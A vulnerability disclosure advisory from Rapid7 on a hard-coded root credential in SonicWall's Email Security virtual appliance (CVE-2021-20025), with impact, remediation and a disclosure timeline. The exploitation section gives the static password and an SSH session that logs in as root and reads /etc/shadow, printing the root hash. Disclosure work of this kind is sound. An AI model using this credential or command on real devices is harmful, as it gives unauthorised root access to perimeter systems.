CVE-2021-20025: SonicWall Email Security Appliance Backdoor Credential

The virtual, on-premises version of the SonicWall Email Security Appliance ships with an undocumented, static credential, which can be used by an attacker to gain root privileges on the device. This is an instance of CWE-798: Use of Hard-coded Credentials, and has an estimated CVSSv3 score of 9.1. This issue was fixed by the vendor in version 10.0.10, according to the vendor’s advisory, SNWLID-2021-0012.

Product Description

The SonicWall Email Security Virtual Appliance is a solution which “defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” It is in use in many industries around the world as a primary means of preventing several varieties of email attacks. More about SonicWall’s solutions can be found at the vendor’s website.

Credit

This issue was discovered by William Vu of Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The session capture detailed below illustrates using the built-in SSH management interface to connect to the device as the root user with the password, “sonicall”.

This attack was tested on 10.0.9.6105 and 10.0.9.6177, the latest builds available at the time of testing.

[email protected]:~$ ssh -o stricthostkeychecking=no -o userknownhostsfile=/dev/null [email protected]
Warning: Permanently added '192.168.123.251' (ECDSA) to the list of known hosts.
For CLI access you must login as snwlcli user.
[email protected]'s password: sonicall
[[email protected] ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[[email protected] ~]# uname -a
Linux snwl.example.com 4.19.58-snwl-VMWare64 #1 SMP Wed Apr 14 20:59:36 PDT 2021 x86_64 GNU/Linux
[[email protected] ~]# grep root /etc/shadow
root:Y0OoRLtjUwq1E:12605:0:::::
[[email protected] ~]# snwlcli
Login: admin
Password:
SNWLCLI> version
10.0.9.6177
SNWLCLI>

Impact

Given remote root access to what is usually a perimeter-homed device, an attacker can further extend their reach into a targeted network to launch additional attacks against internal infrastructure from across the internet. More locally, an attacker could likely use this access to update or disable email scanning rules and logic to allow for malicious email to pass undetected to further exploit internal hosts.

Remediation

As detailed in the vendor’s advisory, users are urged to use at least version 10.0.10 on fresh installs of the affected virtual host. Note that updating to version 10.0.10 or later does not appear to resolve the issue directly; users who update existing versions should ensure they are also connected to the MySonicWall Licensing services in order to completely resolve the issue.

For sites that are not able to update or replace affected devices immediately, access to remote management services should be limited to only trusted, internal networks — most notably, not the internet.

Disclosure Timeline

Rapid7’s coordinated vulnerability disclosure team is deeply impressed with this vendor’s rapid turnaround time from report to fix. This vulnerability was both reported and confirmed on the same day, and thanks to SonicWall’s excellent PSIRT team, a fix was developed, tested, and released almost exactly three weeks after the initial report.

  • April, 2021: Issue discovered by William Vu of Rapid7
  • Thu, Apr 22, 2021: Details provided to SonicWall via their CVD portal
  • Thu, Apr 22, 2021: Confirmed reproduction of the issue by the vendor
  • Thu, May 13, 2021: Update released by the vendor, removing the static account
  • Thu, May 13, 2021: CVE-2021-20025 published in SNWLID-2021-0012
  • Wed, Jun 23, 2021: Rapid7 advisory published with further details